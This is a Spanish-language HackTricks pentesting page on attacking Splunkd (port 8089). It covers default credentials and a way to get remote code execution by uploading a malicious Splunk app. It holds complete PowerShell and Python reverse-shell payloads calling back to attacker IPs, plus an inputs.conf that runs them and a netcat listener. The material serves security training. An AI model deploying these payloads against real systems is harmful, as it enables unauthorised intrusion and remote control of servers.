mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
139 lines
9.1 KiB
Markdown
139 lines
9.1 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
## **Información Básica**
|
|
|
|
Splunk es una **herramienta de análisis de registros** que desempeña un papel crucial en la **recopilación, análisis y visualización de datos**. Aunque su propósito inicial no era servir como una herramienta de **SIEM (Seguridad de la Información y Gestión de Eventos)**, ha ganado popularidad en el ámbito del **monitoreo de seguridad** y **analítica empresarial**.
|
|
|
|
Las implementaciones de Splunk se utilizan con frecuencia para almacenar **datos sensibles** y pueden servir como una **fuente valiosa de información** para posibles atacantes si logran comprometer el sistema.
|
|
**Puerto predeterminado:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
El **servidor web de Splunk se ejecuta de forma predeterminada en el puerto 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeración
|
|
|
|
### Versión Gratuita
|
|
|
|
La prueba de Splunk Enterprise se convierte en una **versión gratuita después de 60 días**, la cual **no requiere autenticación**. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, la cual **posteriormente se olvida**. Esto se convertirá automáticamente en la versión gratuita que no tiene ningún tipo de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
|
|
|
|
### Credenciales Predeterminadas
|
|
|
|
En versiones antiguas de Splunk, las credenciales predeterminadas son **`admin:changeme`**, las cuales se muestran convenientemente en la página de inicio de sesión.\
|
|
Sin embargo, **la última versión de Splunk** establece **credenciales** **durante el proceso de instalación**. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
|
|
|
### Obtener Información
|
|
|
|
Una vez iniciada la sesión en Splunk, podemos **navegar por datos**, ejecutar **informes**, crear **paneles de control**, **instalar aplicaciones** desde la biblioteca de Splunkbase e instalar aplicaciones personalizadas.\
|
|
También se puede ejecutar código: Splunk tiene múltiples formas de **ejecutar código**, como aplicaciones Django del lado del servidor, puntos finales REST, entradas con scripts y scripts de alerta. Un método común para obtener ejecución de código remoto en un servidor Splunk es a través del uso de una entrada con script.
|
|
|
|
Además, como Splunk se puede instalar en hosts Windows o Linux, se pueden crear entradas con scripts para ejecutar scripts de Bash, PowerShell o Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Construcción de Splunk`
|
|
|
|
## RCE
|
|
|
|
### Crear Aplicación Personalizada
|
|
|
|
Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**.\
|
|
Ten en cuenta que **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código de Python.
|
|
|
|
Puedes utilizar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) paquete de Splunk para ayudarnos. El directorio **`bin`** en este repositorio tiene ejemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos a seguir esto paso a paso.
|
|
|
|
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorios:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
El directorio **`bin`** contendrá cualquier **script que tengamos la intención de ejecutar** (en este caso, un shell inverso de **PowerShell**), y el directorio predeterminado tendrá nuestro archivo `inputs.conf`. Nuestro shell inverso será un **comando de una sola línea de PowerShell:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
El archivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indica a Splunk **qué script ejecutar** y cualquier otra condición. Aquí establecemos la aplicación como habilitada y le indicamos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre se establece en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Necesitamos el archivo `.bat`, que se ejecutará cuando se implemente la aplicación y ejecutará la línea de comandos de PowerShell.
|
|
|
|
El siguiente paso es elegir `Instalar aplicación desde archivo` y cargar la aplicación.
|
|
|
|
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Antes de cargar la aplicación personalizada maliciosa, iniciemos un escucha usando Netcat o [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
En la página `Subir aplicación`, haz clic en examinar, elige el archivo tarball que creamos anteriormente y haz clic en `Subir`. Tan pronto como **subamos la aplicación**, recibiremos una **shell inversa** ya que el estado de la aplicación cambiará automáticamente a `Habilitado`.
|
|
|
|
#### Linux
|
|
|
|
Si estuviéramos trabajando con un **host de Linux**, necesitaríamos **editar el script Python `rev.py`** antes de crear el archivo tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo y recibiríamos una conexión de shell inversa en nuestro escuchador de Netcat y podríamos empezar a trabajar.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Escalada de Privilegios
|
|
|
|
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referencias
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|